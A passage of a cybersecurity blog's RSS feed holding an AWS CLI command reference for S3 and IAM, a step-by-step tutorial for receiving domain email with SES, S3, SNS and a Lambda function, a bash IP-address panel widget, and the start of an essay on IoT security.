<li>rb (remove bucket, use --force to delete non-empty buckets)</li>
<li>rm (delete object)</li>
<li>sync (syncs directories)</li>
<li>website (set the website config for a bucket)</li>
</ul>
<!--kg-card-end: markdown--><p>Lets run through some specific examples:</p><!--kg-card-begin: markdown--><ul>
<li>Copy
<ul>
<li>Copy (upload) local file to s3: <code>aws s3 cp example.txt s3://bucket-name/example.txt</code></li>
<li>Copy s3 object to local system: <code>aws s3 cp s3://bucket-name/file.txt ./</code></li>
<li>Recursively copy s3 objects to local system: <code>aws s3 cp --recurse s3://bucket-name ./</code></li>
<li>Recursively copy s3 objects to local system without credentials configured (requires region): <code>aws s3 cp --recursive --no-sign-request --region &lt;region&gt; s3://bucket-name ./</code></li>
</ul>
</li>
<li>List
<ul>
<li>List all my buckets: <code>aws s3 ls</code></li>
<li>List root contents in specific s3 bucket: <code>aws s3 ls s3://bucket-name</code></li>
<li>Recursively list all contents in specific s3 bucket: <code>aws s3 ls --recursive s3://bucket-name</code></li>
</ul>
</li>
<li>Make
<ul>
<li>Make a bucket: <code>aws s3 mb s3://new-bucket</code></li>
<li>Make bucket in specific region: <code>aws s3 mb s3://new-bucket --region us-east-2</code></li>
</ul>
</li>
<li>Delete
<ul>
<li>Delete empty bucket: <code>aws s3 rb s3://bucket-name</code></li>
<li>Delete non-empty bucket: <code>aws s3 rb s3://bucket-name --force</code></li>
<li>Delete object: <code>aws s3 rm s3://bucket-name/object-name.ext</code></li>
<li>Delete all objects in bucket/folder: <code>aws s3 rm s3://bucket-name/folder --recurse</code></li>
<li>Delete objects except ones which match a filter (i.e. .txt files): `aws s3 rm s3://bucket-name --recursive --exclude &quot;*.txt&quot;</li>
</ul>
</li>
<li>Create pre-signed URLs
<ul>
<li>Create pre-signed URL for an object: <code>aws s3 presign s3://bucket-name/object-name.ext</code></li>
<li>Create URL with max expiration time: <code>aws s3 presign s3://bucket-name/object-name.ext --expires-in 604800</code></li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="part-6-iam-commands-a-idpart6a">Part 6: IAM Commands <a id="part6"></a></h3>
<!--kg-card-end: markdown--><p>IAM is Identity and Access Management. As the name might suggest it&apos;s the service used to manage users, groups, roles, and policies which collectively control permissions in AWS. The significance of this design is the granularity by which you can control those permissions. For example, many services within AWS break down the possible actions into dozens or hundreds of categories. I could create a policy which gives a user or group access to complete all those actions on a particular resource (like an s3 bucket), however, I can also very specifically say that this user or group should have permission to maybe read and list objects in a specific folder of a specific s3 bucket (even specific objects within the bucket). When a user with those permissions navigates to the s3 console, or attempts to use the s3 command line, only those commands or actions will work, and not only will they not be able to touch other objects, they won&apos;t even be able to see them. The commands available for IAM within the AWS CLI are extensive and powerful, so I&apos;ll just focus on examples in a few categories which may be the most commonly used. </p><!--kg-card-begin: markdown--><ul>
<li><strong>Create</strong>
<ul>
<li>Create User: <code>aws iam create-user --user-name ExampleUser</code></li>
<li>Create Group: <code>aws iam create-group --group-name ExampleGroup</code></li>
<li>Create Role: <code>aws iam create-role --role-name ExampleRole --assume-role-policy-document /home/assume-role-policy.json</code></li>
<li>Create Policy: <code>aws iam create-policy --policy-name ExamplePolicy --policy-document /home/policy.json</code></li>
<li>Create Access Key for User: <code>aws iam create-access-key --user-name ExampleUser</code></li>
</ul>
</li>
<li><strong>Add/Attach/Remove</strong>
<ul>
<li>Add User to Group: <code>aws iam add-user-to-group --user-name ExampleUser --group-name ExampleGroup</code></li>
<li>Attach Policy to User: <code>aws iam attach-user-policy --user-name ExampleUser --policy-arn arn:aws:iam::*********:policy/ExamplePolicy</code></li>
<li>Attach Policy to Role: <code>aws iam attach-role-policy --role-name ExampleRole --policy-arn arn:aws:iam::**********:policy/ExamplePolicy</code></li>
<li>Attach Policy to Group: <code>aws iam attach-group-policy --group-name ExampleGroup --policy-arn arn:aws:iam::**********:policy/ExamplePolicy</code></li>
</ul>
</li>
<li><strong>List/Get</strong>
<ul>
<li>List all users: <code>aws iam list-users</code></li>
<li>Get Info on User: <code>aws iam get-user --user-name ExampleUser</code></li>
<li>List all groups: <code>aws iam list-groups</code></li>
<li>Get Info on Group: <code>aws iam get-group --group-name ExampleGroup</code></li>
<li>List all roles: <code>aws iam list-roles</code></li>
<li>Get Info on Role: <code>aws iam get-role --role-name ExampleRole</code></li>
<li>List all policies: <code>aws iam list-policies</code></li>
<li>Get Info on Policy: <code>aws iam get-policy --policy-arn arn:aws:iam::**********/policy/ExamplePolicy</code></li>
</ul>
</li>
<li><strong>Delete</strong>
<ul>
<li>Delete User: <code>aws iam delete-user --user-name ExampleUser</code></li>
<li>Delete Group: <code>aws iam delete-group --group-name ExampleGroup</code></li>
<li>Delete Role: <code>aws iam delete-role --role-name ExampleRole</code></li>
<li>Delete Policy: <code>aws iam delete-policy --policy-arn arn:aws:iam::**********:policy/ExamplePolicy</code></li>
<li>Delete Access Key: <code>aws iam delete-access-key --access-key-id AKID**************** --user-name ExampleUser</code></li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><p>Policies within AWS are what actually defines permissions for all entities. You can create a policy then attach it to a user, group, or role, then attach users to groups, etc.. You can even create in-line policies for users which don&apos;t exist outside of the config for that user specifically. Policies can be configured not only to allow or disallow access to any service, asset, action, or resource within AWS, but even allows other restrictions like ranges of times or dates, and access from specific IPs or regions. Each policy has the basic breakdown which includes Version, and one or more Statements which then include Effect, Action, Resource, and sometimes Condition. Here&apos;s a basic example of a policy which grants access to list objects in an s3 bucket for a period of one month:</p><!--kg-card-begin: markdown--><pre><code>{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [&quot;s3:ListBucket&quot;],
            &quot;Resource&quot;: [&quot;arn:aws:s3:::bucket-name&quot;],
            &quot;Condition&quot;: {
                &quot;DateGreaterThan&quot;: {&quot;aws:CurrentTime&quot;: &quot;2022-06-01T00:00:00Z&quot;},
                &quot;DateLessThan&quot;: {&quot;aws:CurrentTime&quot;: &quot;2022-06-30T23:59:59Z&quot;}
            }
        }
    ]
}
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="conclusion">Conclusion</h2>
<!--kg-card-end: markdown--><p>If you&apos;ve made it this far, you&apos;re ready to get starting learning how to effectively use the AWS Command Line Interface. Congratulations and good luck!</p>]]></content:encoded></item><item><title><![CDATA[How to Use AWS SES (Simple Email Service) to Send and Receive Email's For Your Website]]></title><description><![CDATA[<p>Pre-requisites: You must own a domain and have control of the DNS records</p><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">AWS provides a service called WorkMail which can be used to send and receive emails from your domain. However, WorkMail costs approximately $4/month per domain and doesn&apos;t allow wildcard addresses (i.e. anything@</div></div>]]></description><link>https://simulationcyber.com/how-to-use-aws-ses-for-your-domain-emailing/</link><guid isPermaLink="false">6237c725ae278b535e2a09c3</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Wed, 21 Sep 2022 22:42:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1581349437898-cebbe9831942?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fGVtYWlsfGVufDB8fHx8MTY0NzgyMjYzNQ&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1581349437898-cebbe9831942?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fGVtYWlsfGVufDB8fHx8MTY0NzgyMjYzNQ&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="How to Use AWS SES (Simple Email Service) to Send and Receive Email&apos;s For Your Website"><p>Pre-requisites: You must own a domain and have control of the DNS records</p><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">AWS provides a service called WorkMail which can be used to send and receive emails from your domain. However, WorkMail costs approximately $4/month per domain and doesn&apos;t allow wildcard addresses (i.e. anything@your-domain.com). The solution below utilizes SES, S3, SNS, and Lambda to allow for sending and receiving emails for as little as pennies a month.&#xA0;</div></div><h2 id="table-of-contents">Table of Contents</h2><!--kg-card-begin: markdown--><p><a href="#part1">Part 1: Set up SES Sending</a><br>
<a href="#part2">Part 2: Set up SES Receiving</a><br>
<a href="#part3">Part 3: Set up Lambda Function + SNS(optional)</a></p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-1-set-up-ses-sending-a-idpart1a">Part 1: Set up SES Sending <a id="part1"></a></h3>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">You can send emails from any region, however you can only receive in a handful. You can technically send from one and receive in another, but it&apos;s easier to do both from the same region. Select a region and check the navigation bar on the left hand side, if it doesn&apos;t say &quot;Email receiving&quot; at the bottom, pick a new region until you find one that has it.</div></div><!--kg-card-begin: markdown--><ol>
<li>Navigate to SES within the AWS console</li>
<li>From the main page of SES click Create Identity</li>
<li>Select Domain and enter your domain, i.e. simscyberops.com</li>
<li>Leave everything else default and click Create Identity</li>
</ol>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you use AWS Route 53 to mange your domain&apos;s DNS records, verification will happen automatically. If not, we&apos;ll complete verification in the next step.</div></div><!--kg-card-begin: markdown--><ol start="5">
<li>Once you create identity it should automatically bring you to a page with details about the SES object, if not, click Verified identities on the left and click on your domain</li>
<li>About halfway down the page is the DomainKeys Identified Mail (DKIM) section, within it is 3 CNAME records which you need to add to your domain&apos;s DNS records</li>
<li>Once you&apos;ve added the 3 CNAME records refresh the page until the Summary section shows Identity status Verified</li>
<li>Now  that you&apos;ve verified your domain you can send test emails from <a href="mailto:anything@your-domain.com">anything@your-domain.com</a>, the issue is you cannot send any emails to non-verified accounts. Navigate to the Account Dashboard and you&apos;ll see a warning stating that your SES account for that region is in the sandbox. Click the button on the right that says Request production access</li>
<li>On this page you&apos;ll need to enter some details about what your website is and what types of emails you plan on sending with AWS SES. Submit the request and you&apos;ll likely immediately get a notification saying the request has been denied, this is just an automatic response in which they request more information that is commonly left out in the initial request. Answer the follow-up questions with as much detail as possible and submit the additional correspondence. Approval for getting out of the sandbox can take 1-2 days so you can either stop here and come back, or finish the rest of the configuration with the knowledge that some things won&apos;t work until the request is approved.</li>
<li>In the next step you&apos;ll generate SMTP credentials which you can use in a variety of ways to set up your website to be able to send emails. For example, I use Ghost to to host this website, and within a configuration file for ghost I have the following information:</li>
</ol>
<pre><code> &quot;mail&quot;: {
  &quot;transport&quot;: &quot;SMTP&quot;,
  &quot;options&quot;: {
    &quot;host&quot;: &quot;&lt;YOUR-SES-SERVER-NAME i.e. email-smtp.us-east-1.amazonaws.com&gt;&quot;,
        &quot;port&quot;: 465,
        &quot;service&quot;: &quot;SES&quot;,
        &quot;auth&quot;: {
            &quot;user&quot;: &quot;&lt;SES-ACCESS-KEY-ID&gt;&quot;,
            &quot;pass&quot;: &quot;&lt;SES-SECRET-ACCESS-KEY&gt;&quot;
    }
  }
},
</code></pre>
<p>Your website may have similar configuration files, or a variety of other setups which are capable of taking similar paremeters to be able to send automatic emails for things like account verification, password resets, newsletters, etc..<br>
11. In the SES Account dashboard click Create SMTP credentials in the middle of the page<br>
12. This process will create an IAM user automatically, on this page you can rename it to something like my-domain-ses so that it&apos;s recognizable in IAM<br>
13. Click Create and either make note of the credentials it gives you, or download the .csv with the credentials<br>
14. Assuming you&apos;ve been approved to get out of the sandbox, you now have everything you need for your website to send emails from <a href="mailto:anything@your-domain.com">anything@your-domain.com</a><br>
15. In the JSON example for Ghost configuration shown above you would replace the value of &quot;user&quot; and &quot;pass&quot; with your newly created credentials (and probably restart the process/service<br>
16. Once this is complete your website should be able to send emails automatically to users for a variety of reasons such as account confirmations, password resets, etc..</p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-2-set-up-ses-receiving-a-idpart2a">Part 2: Set up SES Receiving <a id="part2"></a></h3>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ol>
<li>In the SES console navigate to Email receiving on the left hand side</li>
<li>Click Create rule set and give it an identifying name. You can only have one rule set active in any particular region, so if you have multiple domains you can name it something a little general like domain-email-receiving</li>
<li>Within the rule set click Create rule, repeat the process if you have multiple domains</li>
<li>Name the rule something like your-domain-receiving and leave everything else then click next</li>
<li>Click Add new recipient condition and enter your-domain.com (nothing should preceed your domain, i.e. just <code>simscyberops.com</code>, <strong>NOT</strong> <a href="mailto:admin@simscyberops.com">admin@simscyberops.com</a> or <a href="https://simulationcyber.com/">https://simscyberops.com/</a>) then click Next</li>
<li>Here we can add actions for what you want to happen when an email is received, if you want to pay a few dollars a month to use AWS WorkMail you can clik Add new action and select it, for this configuration I used S3, A Lambda function, and SNS, continue if you would like to set up the same configuration</li>
<li>Click down on Add new action and select Deliver to S3 bucket then Create an S3 bucket with the button that appears</li>
<li>Click Next and review your rule then click Create rule</li>
<li>Once you&apos;ve finished creating the rule, ensure that the Rule set is Active</li>
<li>You&apos;re now set up to receive emails to any address @your-domain.com!</li>
</ol>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">The SES action for delivering emails to an S3 bucket dumps it in there with a randomized ID as the name, if this is perfectly acceptable to you then you can stop here. If not, we&apos;ll create a Lambda function in the next step to remedy that. Once the Lambda function is created you&apos;ll come back here and edit the rule to add another SES action which triggers the Lambda function.</div></div><hr><!--kg-card-begin: markdown--><h3 id="part-3-set-up-lambda-function-sns-optional-a-idpart3a">Part 3: Set up Lambda Function + SNS (optional) <a id="part3"></a></h3>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">The Lambda function in this step takes care of a few things, it&apos;s triggered by SES whenever an email is received and finds the newly created email in S3, renames it with useful information, then sends information over to SNS so you can subscribe to receive notifications that your domain has received an email.&#xA0;</div></div><!--kg-card-begin: markdown--><ol>
<li>If you&apos;re going to set up a notification using SNS the easiest thing is to start by creating the topic, if you don&apos;t care about that you can skip to step 7</li>
<li>Navigate to SNS in the AWS console, go to Topics and click Create topic</li>
<li>Change the Type to Standard, name the topic something like my-domain-sns and optionally configure any of the other portions then click Create topic</li>
<li>Make note of the ARN generated for the new SNS topic which we&apos;ll use later</li>
<li>Click Create Subscription and then click down on Protocol and select the appropriate protocol for how you would like to subscribe, i.e. Email for subscribing with an email, SMS for subscribing with a phone number</li>
<li>Enter the appropriate information for your subscription and click Create subscription</li>
<li>Navigate to Lambda within the AWS and click Create Function</li>
<li>Leave the selection on Author from scratch, name your function, change the Runtime language to Python (Python 3.9 is the most current as of the writing of this post)</li>
<li>Leave everything else default and click Create function</li>
<li>Navigate into your function and find the portion where you can edit the Code source, delete whatever is there and past in the following code:</li>
</ol>
<pre><code>import boto3
import json

# event will be JSON from SES incoming email rule - NOT an S3 PUT event
def lambda_handler(event, context):

    try:
        ses_mail = event[&apos;Records&apos;][0][&apos;ses&apos;][&apos;mail&apos;]
        message_id = ses_mail[&apos;messageId&apos;]
        print(&apos;Commencing processing for message {}&apos;.format(message_id))
        timestamp = ses_mail[&apos;timestamp&apos;]
        source = ses_mail[&apos;source&apos;]
        newname = timestamp+&quot;_&quot;+source+&quot;_.eml&quot;
    except:
        print(&apos;mail read broke&apos;)
        
    try:
        s3 = boto3.resource(&apos;s3&apos;)
        copy_source = {&apos;Bucket&apos;: &apos;your-s3-bucket-name&apos;,&apos;Key&apos;: message_id}
        bucket = s3.Bucket(&apos;your-s3-bucket-name&apos;)
        obj = bucket.Object(newname)
        obj.copy(copy_source)
    except:
        print(&apos;copy broke&apos;)
        
    try:
        s3 = boto3.resource(&apos;s3&apos;)
        s3.Object(&apos;your-s3-bucket-name&apos;,message_id).delete()
    except:
        print(&apos;delete broke&apos;)
    
    try:
        mailTo = ses_mail[&apos;commonHeaders&apos;][&apos;to&apos;]
        mailFrom = ses_mail[&apos;commonHeaders&apos;][&apos;from&apos;]
        mailDate = ses_mail[&apos;commonHeaders&apos;][&apos;date&apos;]
        mailSubject = ses_mail[&apos;commonHeaders&apos;][&apos;subject&apos;]
        
        message = f&quot;Message received for {mailTo}, from {mailFrom}, on {mailDate}, with subject {mailSubject}.&quot;
        
        client = boto3.client(&apos;sns&apos;)
        response = client.publish(
            TargetArn=&apos;arn-for-your-sns-topic&apos;,
            Message=message,
            Subject=&apos;New Email for your domain&apos;
            )
    except:
        print(&apos;sns publish broke&apos;)
</code></pre>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">This Python script does a handful of things and you can take/leave whatever is applicable to your build specifically. Overall the function is designed to trigger when SES receives an email, grab the item that&apos;s dropped in the S3 bucket, rename it with the timestamp and sender with a file extension of .eml (easier to open it on your machine), then delete the original object, and finally publish a message to SNS.</div></div><!--kg-card-begin: markdown--><ol start="11">
<li>After pasting the code in there&apos;s 4 lines you need to change (3 if you&apos;re not using SNS in which case delete the last function). The 3 parts that say &apos;your-s3-bucket-name&apos; you should replace with your actual bucket name, i.e. &apos;your-domain-email-receiving&apos; as well as near the bottom replace &apos;arn-for-your-sns-topic&apos; with the arn from your SNS topic</li>
<li>The next step is to configure permissions so your Lambda function can actually  touch the resources it needs. There&apos;s a few ways to do this but the easiest in this case is to click the Configuration tab for your Lambda then click Permissions on the left hand side</li>
<li>At the bottom click the Add permissions button under Resource-based policy then click AWS service</li>
<li>In this screen we&apos;re going to set up permission for SES to invoke this function, click down on Service and select Other</li>
<li>Under Statement ID give this policy a name, something like AllowSESInvoke</li>
<li>For Principal enter <code>ses.amazonaws.com</code></li>
<li>For Source ARN you need the ARN from the specific rule set and rule that will be triggering this function, you can find it within SES and it should look something like this: <code>arn:aws:ses:&lt;region&gt;:&lt;your acct number&gt;:receipt-rule-set/your-rule-set-name:receipt-rule/your-rule-name</code></li>
<li>Finally for Action select lambda:InvokeFunction and click Save</li>
<li>Back in Lambda &gt; Configuration &gt; Permissions, under Execution role click the role that was auto generated for your function, this will take you to the IAM console</li>
<li>Once again, there&apos;s a few ways to do this but I&apos;ll just walk through two. Click down on Add permissions and then click Create inline policy</li>
<li>The two ways to add permissions here are through the Visual editor or JSON, in either case you need to add 5 permissions: S3: ReplicateObject, PutObject, GetObject, and DeleteObject, then add the ARN for your s3 bucket with a /* at the end to indicate all objects in that bucket</li>
<li>Next add SNS Publish with the ARN for your SNS topic</li>
<li>If you&apos;re using the JSON permissions editor start by copying and pasting in the code block below and update the two ARN&apos;s for your S3 bucket and SNS topic:</li>
</ol>
<pre><code>{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [
                &quot;s3:ReplicateObject&quot;,
                &quot;s3:PutObject&quot;,
                &quot;s3:GetObject&quot;,
                &quot;sns:Publish&quot;,
                &quot;s3:DeleteObject&quot;
            ],
            &quot;Resource&quot;: [
                &quot;arn:aws:sns:&lt;region&gt;:&lt;account&gt;:&lt;sns-topic&gt;&quot;,
                &quot;arn:aws:s3:::&lt;s3-bucket-name&gt;/*&quot;
            ]
        }
    ]
}
</code></pre>
<ol start="24">
<li>Review the policy and Save Changes</li>
<li>The last step is to head back to SES and tell the rule set to trigger your Lambda along with sending the emails to your S3 bucket</li>
<li>Navigate back to SES &gt; Email Receiving, and click your Rule set then your rule</li>
<li>Click the edit button in the Recipient conditions section</li>
<li>Click Next until you get to Step 3 Add actions, then click Add new action and select Invoke AWS Lambda function</li>
<li>Select your newly created Lambda, leave the Invocation type as Event invocation then click Next and save your changes</li>
<li>You&apos;re now set up to receive emails at any address @your-domain and further those emails will be stored in an S3 bucket and automatically renamed in a way where you can keep track of everything without the use of an email client</li>
</ol>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="conclusion-a-idpart4a">Conclusion <a id="part4"></a></h2>
<!--kg-card-end: markdown--><p>If you followed this guide all the way here then congratulations! You&apos;re now set up to send and receive emails from your domain without the use of email services, which means if you&apos;re not expecting large amounts of traffic this all costs you mere pennies a month to operate. If you run into any issues when trying to configure your AWS account to be able to use SES for your domain then please feel free to email admin@simscyberops.com, or troubleshoot@simscyberops.com or help-me@simscyberops.com, or literally anything@simscyberops.com because if you paid attention you know that this configuration allows you to send and receive emails from any address from your domain!</p>]]></content:encoded></item><item><title><![CDATA[Linux Panel Widget to Show Your IP Address(es)]]></title><description><![CDATA[Add a panel widget to your linux system to show your IP address(es) with a bash script. ]]></description><link>https://simulationcyber.com/linux-widget-to-show-your-ip-address-es/</link><guid isPermaLink="false">62f998a4d67137040dfb399d</guid><category><![CDATA[Micro Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Mon, 15 Aug 2022 01:22:53 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2022/08/feature.png" medium="image"/><content:encoded><![CDATA[<img src="https://simulationcyber.com/content/images/2022/08/feature.png" alt="Linux Panel Widget to Show Your IP Address(es)"><p>Knowing your internal and external IP addresses can be useful for a variety of reasons, especially in development and penetration testing. Instead of checking your IP address constantly, you can add a nifty widget, as seen in the photo above, to your panel in many Linux distributions. We start by generating some quick bash code. Mine includes some additional code for the instances when I&apos;m using a VPN, and I&apos;m also working under the assumption that when I&apos;m connected to a VPN, it&apos;s automatically going to default to the tun0 interface. If you don&apos;t expect to be using one, you can cut out those lines, or if your setup is different, you can adjust accordingly. </p><p>Find a spot where you can create a bash script that won&apos;t accidentally get deleted, and copy and paste the following code inside: </p><pre><code>#!/bin/bash

# Generic Monitor Script
# Gets WAN, LAN, and VPN IP addresses
# Presents IP addresses to panel via colored output
# Provides colored Tooltips for each IP type

# Get internal IP address
hostIP=&quot;$(hostname -I)&quot;;
lanIP=&quot;$(echo &quot;${hostIP}&quot; | awk &apos;{print $1}&apos;)&quot;;

# Get external IP address
wanIP=&quot;$(curl ifconfig.me 2&gt;/dev/null)&quot;;

# Create text output
textOuts=&quot;&lt;txt&gt;&lt;span fgcolor=&apos;Green&apos;&gt;${lanIP}&lt;/span&gt; | &lt;span fgcolor=&apos;Cyan&apos;&gt;${wanIP}&lt;/span&gt;&quot;
# Create tooltip output
toolTips=&quot;&lt;tool&gt;&lt;span fgcolor=&apos;Green&apos;&gt;LAN&lt;/span&gt; | &lt;span fgcolor=&apos;Cyan&apos;&gt;WAN&lt;/span&gt;&quot;

# Get TUN device info
tunDev=$(ip a show tun0 2&gt;&amp;1);
# Test if device exists
if [[ ${tunDev} != *&quot;not exist&quot;* ]]
then
	# Get TUN IP address
	tunIP=&quot;$(echo &quot;${hostIP}&quot; | awk &apos;{print $2}&apos;)&quot;;

	# Append text output
	textOuts+=&quot; | &lt;span fgcolor=&apos;Yellow&apos;&gt;${tunIP}&lt;/span&gt;&quot;	
	# Append tooltip output
	toolTips+=&quot; | &lt;span fgcolor=&apos;Yellow&apos;&gt;VPN&lt;/span&gt;&quot;
fi

# Close text output
textOuts+=&quot;&lt;/txt&gt;&quot;
# Close tooltip output
toolTips+=&quot;&lt;/tool&gt;&quot;


# Print output
echo &quot;${textOuts} ${toolTips}&quot;</code></pre><p>Make sure you <code>chmod +x widget.sh</code> (or whatever you named it) to give it the appropriate execution permissions, then right-click your panel and select Panel &gt; Add New Items... Your experience may vary depending on exactly which distribution you&apos;re working with. Within new items, you&apos;re looking for Generic Monitor.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2022/08/Screenshot-2022-08-14-195155-1.png" class="kg-image" alt="Linux Panel Widget to Show Your IP Address(es)" loading="lazy" width="466" height="622"><figcaption>Panel &gt; Add New Items &gt; Generic Monitor</figcaption></figure><p>Once you&apos;ve added it, right-click and &quot;Move,&quot; then slide that bad boy over to where you&apos;d like it to be, then right-click and select Properties. Within properties, you want to click the ... and find the file location for your script, then uncheck the label box, and if so desired, change the Period (s) to something like 5s, so it updates a little faster. It&apos;s not too taxing on the system, so running it fairly often shouldn&apos;t affect anything. The last thing to do is just save it and enjoy your new IP Address Widget!</p>]]></content:encoded></item><item><title><![CDATA[Are IoT Devices Secure?]]></title><description><![CDATA[<p>Short answer: no.</p><!--kg-card-begin: markdown--><h2 id="table-of-contents">Table of Contents</h2>
<p><a href="#exec">Executive Summary</a><br>
<a href="#intro">Introduction</a><br>
<a href="#emerging">Emerging IoT Threats and Vulnerabilities</a><br>
<a href="#devsecops">The Culture of IoT Development, Security, and Operations (DevSecOps)</a><br>
<a href="#sec">IoT Security</a><br>
<a href="#conclusion">Conclusion</a><br>
<a href="#references">References</a></p>
<hr>
<h3 id="executive-summary-a-idexeca">Executive Summary <a id="exec"></a></h3>
<p>If you ever have or choose to obtain a license in skydiving you will attend a course called Accelerated Free Fall</p>]]></description><link>https://simulationcyber.com/are-iot-devices-secure/</link><guid isPermaLink="false">62fc611799f6183f497c3554</guid><category><![CDATA[Current Events/Topics of Interest]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Sun, 19 Jun 2022 04:28:44 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1603695576504-b2b22b530965?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fElvVHxlbnwwfHx8fDE2NTU2MTMwMzU&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1603695576504-b2b22b530965?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fElvVHxlbnwwfHx8fDE2NTU2MTMwMzU&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Are IoT Devices Secure?"><p>Short answer: no.</p><!--kg-card-begin: markdown--><h2 id="table-of-contents">Table of Contents</h2>
<p><a href="#exec">Executive Summary</a><br>
<a href="#intro">Introduction</a><br>
<a href="#emerging">Emerging IoT Threats and Vulnerabilities</a><br>
<a href="#devsecops">The Culture of IoT Development, Security, and Operations (DevSecOps)</a><br>
<a href="#sec">IoT Security</a><br>
<a href="#conclusion">Conclusion</a><br>
<a href="#references">References</a></p>
<hr>
<h3 id="executive-summary-a-idexeca">Executive Summary <a id="exec"></a></h3>
<p>If you ever have or choose to obtain a license in skydiving you will attend a course called Accelerated Free Fall (AFF). The course is comprised of a lengthy academic course followed by a handful of instructor accompanied skydives. In the course students spend many hours learning about all of the things that can go wrong when skydiving, and at this point in the course they may be tempted to throw their hands in the air and walk away, out of fear. However, the remainder of the course they learn instead how to mitigate and remedy most if not all of these events, building their confidence to make that first jump at approximately 15K ft in the air. This report is much like this course where I begin with describing many threats and vulnerabilities against devices which are part of the Internet of Things (IoT), followed by challenges the industry faces when creating a security-focused culture in development and operations. Following these sections the report comes to a conclusion by discussing a number of successful, and on-going solutions to many of the issues previously presented.</p>
<p>The section on emerging threats highlights several categories of attacks from the perspec- tive of end-result. This includes attacks which lead to compromise of sensitive data, devices being used in subsequent attacks either on the internal network or other organizations en- tirely, and finally denial of service. General examples include vulnerabilities which are also listed on the Open Web Application Security Project (OWASP) Internet of Things Top 10 list such as weak or hard coded passwords, and insecure data transfer and storage [1].</p>
<p>Next I discuss contributing factors which lead to a culture in the development industry that does not sufficiently prioritize security. This stems from a lack of revenue generated from prioritizing security, as well as consumers who are not often concerned about or even aware of vulnerabilities in devices which they are purchasing. The consequences that organizations face when vulnerabilities are discovered in their products are regularly limited to legal actions such as fines and sanctions placed by state and federal entities. This means that product sales continue more or less maintain pace following public release of vulnerabilities.</p>
<p>Finally, now that readers are sufficiently concerned for the industry, and even themselves, I detail several solutions to many of these challenges. These solutions include relatively new branches of cryptography and detection mechanisms designed for IoT devices. This is followed by solutions which restructure how to manage security from a bigger picture standpoint by changing the perimeter which we are attempting to protect. Finally, I make several recommendations for improving the culture surrounding developing securely which is a process which must start at the highest echelons of an organization, but must also be acknowledged and built into processes at every level. This is accomplished in part by acknowledging not only the legal but the moral consequences of not prioritizing security sufficiently.</p>
<hr>
<h3 id="introduction-a-idintroa">Introduction <a id="intro"></a></h3>
<p>For everyday computing we have desktop and laptop computers, for operating on the go we have powerful hand-held devices, and for everything else we have the Internet of Things (IoT). The IoT category was born as a catch-all to capture the vast sea of devices that are connected to the internet, each of which is built for their own niche purpose. These devices are now and will continue to be a part of modern life and businesses alike. Statista estimates that worldwide spending in the IoT market will be $1.1 Trillion in 2023 [2]. Due to the massive variety in function of IoT devices, understanding vulnerabilities in order to characterize and mitigate against them is a complex task. This paper addresses some of those vulnerabilities from the perspective of the end result and presents various controls which can remove or mitigate risk for each category. This process starts with a discussion on several real vulnerabilities affecting IoT devices today, then addresses the culture surrounding development, security, and operations (DevSecOps), and concludes with mitigation methods for both users and developers of these devices. Additionally, it is important to consider how specific variables affect the overall security concerns and capabilities such as hardware, access to sensitive information, connection methods, and deployment location.</p>
<hr>
<h3 id="emerging-iot-threats-and-vulnerabilities-a-idemerginga">Emerging IoT Threats and Vulnerabilities <a id="emerging"></a></h3>
